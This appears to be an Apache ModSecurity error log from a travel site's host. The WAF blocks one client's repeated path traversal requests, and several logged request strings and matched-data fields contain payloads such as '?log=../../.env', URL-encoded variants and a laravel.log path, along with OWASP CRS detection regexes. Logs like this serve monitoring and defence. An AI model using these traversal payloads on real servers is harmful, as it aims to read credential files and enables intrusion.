[Fri Jul 17 08:55:07.643450 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fwAAABE"]
[Fri Jul 17 08:55:07.643612 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../.env&junk=yoFbyxIbi6nf1Q8weJkx_NcLw99NY2nF9Yiz8BoSdthAbHnS7-S_8q4AlRmRz9tJKThxag21hgBnDNtx1VqZtJ-X6TbsWVMB7UH5wzh6UzeYKrLT3bCQHU-ia-ipImmrtIEEdK-jCnJsikMe296D-CKmh1HazHztFoTpD6FCpn-qqxm7aipWJiEGhVvgniQnfSiffMlH7PSGYOHFuOzcPx5In122G5pS7eXN7XZfaMSqIAgiUrfxPRgI3msPbMbStCS3fA-aB-whT-o85ogeBCWH&extra=JEIRBUZG5CLJ4X7PFCPHO4GGH6MA5REG3CPRSS4FMJKTVQLO2GIQSRSJGDFBBZR6L23UI2WZJ2LRSLWJRNUGXPEUBWG7KXUBXMU7VHX76V6OUQ6UACIZGRLOH3RZL6OXWQFZTEEN4IC67S7HFTQZ5DUEDHX..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fwAAABE"]
[Fri Jul 17 08:55:07.643730 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../.env&junk=yofbyxibi6nf1q8wejkx_nclw99ny2nf9yiz8bosdthabhns7-s_8q4alrmrz9tjkthxag21hgbndntx1vqztj-x6tbswvmb7uh5wzh6uzeykrlt3bcqhu-ia-ipimmrtieedk-jcnjsikme296d-ckmh1hazhztfotpd6fcpn-qqxm7aipwjieghvvgniqnfsiffmlh7psgyohfuozcpx5in122g5ps7exn7xzfamsqiagiurfxprgi3mspbmbstcs3fa-ab-wht-o85ogebcwh&extra=jeirbuzg5clj4x7pfcpho4ggh6ma5reg3cprss4fmjktvqlo2giqsrsjgdfbbzr6l23ui2wzj2lrslwjrnugxpeubwg7kxubxmu7vhx76v6ouq6uacizgrloh3rzl6oxwqfzteen4ic67s7hftqz5duedhx..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fwAAABE"]
[Fri Jul 17 08:55:07.643366 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../../../.env&anything=SGLZVTHvJCHrZ-ecsIyJ8yIHZw0tgcg7mFw8XaWXjNSi1qITx5UaeLyjnXJIgfx0ynDbXwJRh9n6lsSuuZUAAJD5l1AY_R2-XCsebNn4p57QzBhHCvbRE-JCVFEw1Mn4jkFOQsKGl0eU91-bnfI_f19P9nW7QvBjJSsSoijq-UDEumn9jJe2_nHZsp4Co_GLRMaF_lFKBqKluoAcXVifKdYfnUtIOVKNfjf0KTqCgKBNVwj7HVBEy2aWkLXcVL0qTL8t-I2kUuYpMppH3L712qME&sid=H3IBT5WV4TXVSAPZWCKWXTOWJYCNFRS5NL5GXYLUTGOVGFW73OFRKUX4Z4DTGFQMD6DJW5ENXTARK7WQPVH55XE3EXYZZUGU5C2SW7X6TU7L3UUZREIMBZEGJHJ2YIVRO4PIEK6BCJGS6KEVCE5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETaswAAAAo"]
[Fri Jul 17 08:55:07.643868 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../../../.env&anything=sglzvthvjchrz-ecsiyj8yihzw0tgcg7mfw8xawxjnsi1qitx5uaelyjnxjigfx0yndbxwjrh9n6lssuuzuaajd5l1ay_r2-xcsebnn4p57qzbhhcvbre-jcvfew1mn4jkfoqskgl0eu91-bnfi_f19p9nw7qvbjjsssoijq-udeumn9jje2_nhzsp4co_glrmaf_lfkbqkluoacxvifkdyfnutiovknfjf0ktqcgkbnvwj7hvbey2awklxcvl0qtl8t-i2kuuypmpph3l712qme&sid=h3ibt5wv4txvsapzwckwxtowjycnfrs5nl5gxylutgovgfw73ofrkux4z4dtgfqmd6djw5enxtark7wqpvh55xe3exyzzugu5c2sw7x6tu7l3uuzreimbzegjhj2yivro4piek6bcjgs6kevce5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETaswAAAAo"]
[Fri Jul 17 08:55:07.643899 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETaswAAAAo"]
[Fri Jul 17 08:55:07.643919 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETaswAAAAo"]
[Fri Jul 17 08:55:07.643964 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fwAAABE"]
[Fri Jul 17 08:55:07.644073 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fwAAABE"]
[Fri Jul 17 08:55:07.645185 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETaswAAAAo"]
[Fri Jul 17 08:55:07.645340 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.645752 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkzsMb3am0TgkjETaswAAAAo"]
[Fri Jul 17 08:55:07.646232 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fwAAABE"]
[Fri Jul 17 08:55:07.646483 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.646973 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4e39YUk0SgV8AU6fwAAABE"]
[Fri Jul 17 08:55:07.661388 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?log=..%2F..%2F..%2F..%2F..%2F.env&ts=srsQjVIyzziT2U6oOkcvrSe23S4cFHivtakzNE27XP5irJMkXJcS5DIROsQnRg0_6yljRLKEYEdZXwa_jArnowq-nDGj767GZlE8Ao9AnhuVxUfuMxEbNJF-u0cuVEyrfHt1MMSBaTc4VXuYBRHv42FYfSbe-3S7XdvB_ilgrJzVXqOwW56TBiCIVXnemkAO7LgQ0bbzzhGaWg9hqYtjABQEGLk2ZymGsIQQ5EV6iaDfQ60CPoGWDhnThKJgxntGw5rOd2g_sCP3_Utdlz5ft-jT&sid=UHXPZPGVKCUM3CM2Z6IKBYQF72NYH6PJJ7WM4BL45ETBXCGNDKZCMJJYKKYZZPTKP67R5OR4P4E6YDDA5RRVWAKJ4NFHCJHRSLQY6GR5PDAHTFKK33YLA2C42DMH6TENN2TX..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLAAAAA0"]
[Fri Jul 17 08:55:07.661476 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLAAAAA0"]
[Fri Jul 17 08:55:07.661556 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../../../../.env&ts=srsQjVIyzziT2U6oOkcvrSe23S4cFHivtakzNE27XP5irJMkXJcS5DIROsQnRg0_6yljRLKEYEdZXwa_jArnowq-nDGj767GZlE8Ao9AnhuVxUfuMxEbNJF-u0cuVEyrfHt1MMSBaTc4VXuYBRHv42FYfSbe-3S7XdvB_ilgrJzVXqOwW56TBiCIVXnemkAO7LgQ0bbzzhGaWg9hqYtjABQEGLk2ZymGsIQQ5EV6iaDfQ60CPoGWDhnThKJgxntGw5rOd2g_sCP3_Utdlz5ft-jT&sid=UHXPZPGVKCUM3CM2Z6IKBYQF72NYH6PJJ7WM4BL45ETBXCGNDKZCMJJYKKYZZPTKP67R5OR4P4E6YDDA5RRVWAKJ4NFHCJHRSLQY6GR5PDAHTFKK33YLA2C42DMH6TENN2TXMOKW3RVKIA7IJCM4FE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLAAAAA0"]
[Fri Jul 17 08:55:07.661605 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../../../../.env&ts=srsqjviyzzit2u6ookcvrse23s4cfhivtakzne27xp5irjmkxjcs5dirosqnrg0_6yljrlkeyedzxwa_jarnowq-ndgj767gzle8ao9anhuvxufumxebnjf-u0cuveyrfht1mmsbatc4vxuybrhv42fyfsbe-3s7xdvb_ilgrjzvxqoww56tbicivxnemkao7lgq0bbzzhgawg9hqytjabqeglk2zymgsiqq5ev6iadfq60cpogwdhnthkjgxntgw5rod2g_scp3_utdlz5ft-jt&sid=uhxpzpgvkcum3cm2z6ikbyqf72nyh6pjj7wm4bl45etbxcgndkzcmjjykkyzzptkp67r5or4p4e6ydda5rrvwakj4nfhcjhrslqy6gr5pdahtfkk33yla2c42dmh6tenn2txmokw3rvkia7ijcm4fe..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLAAAAA0"]
[Fri Jul 17 08:55:07.661656 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLAAAAA0"]
[Fri Jul 17 08:55:07.661701 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:log: ../../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLAAAAA0"]
[Fri Jul 17 08:55:07.663469 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLAAAAA0"]
[Fri Jul 17 08:55:07.663685 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.664147 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkyvekYYQ8uns4MwlLAAAAA0"]
[Fri Jul 17 08:55:07.679154 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?log=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&token=JgjH0eiw-fO-ONM6Ib5oFl3CK9OwIANQWfvZNKDiRgHr_ioBNG-wodJUkqTSOJ9Ve9REPtTv05HzgX5wbYvXmVrbUNet4-0T86692w_uWA8ULsuVyE_3vhJArgi4a-mAaJOAh3PjmkZO9rhMVowMb-QDKz5csPUk4KhxctvoeTbssizNWiFfiJPIQyFGcdvZRgF5YZbx5kmdhvjKTVhTtfL6kiEZl9_9k9iunqGYiGX8avIz3SjDUmvzFhLmlzUZU4u6vXSw1snJ8WIdAItmgv-O&anything=5INGFZHVV5REESQFJEI63UHJEU2QFH22675KE6SBA7MYMJYYIY7JC6JETUWZSL7IAIY3JYIV6SQIEHJPK7CZJ3FGSXPVLO4QGKVUZ64TUCA57C..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLQAAAA0"]
[Fri Jul 17 08:55:07.679227 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLQAAAA0"]
[Fri Jul 17 08:55:07.679319 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?log=../../../storage/logs/laravel.log&token=JgjH0eiw-fO-ONM6Ib5oFl3CK9OwIANQWfvZNKDiRgHr_ioBNG-wodJUkqTSOJ9Ve9REPtTv05HzgX5wbYvXmVrbUNet4-0T86692w_uWA8ULsuVyE_3vhJArgi4a-mAaJOAh3PjmkZO9rhMVowMb-QDKz5csPUk4KhxctvoeTbssizNWiFfiJPIQyFGcdvZRgF5YZbx5kmdhvjKTVhTtfL6kiEZl9_9k9iunqGYiGX8avIz3SjDUmvzFhLmlzUZU4u6vXSw1snJ8WIdAItmgv-O&anything=5INGFZHVV5REESQFJEI63UHJEU2QFH22675KE6SBA7MYMJYYIY7JC6JETUWZSL7IAIY3JYIV6SQIEHJPK7CZJ3FGSXPVLO4QGKVUZ64TUCA57CVDSQCSIZAWUIBIXXTC..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkyvekYYQ8uns4MwlLQAAAA0"]
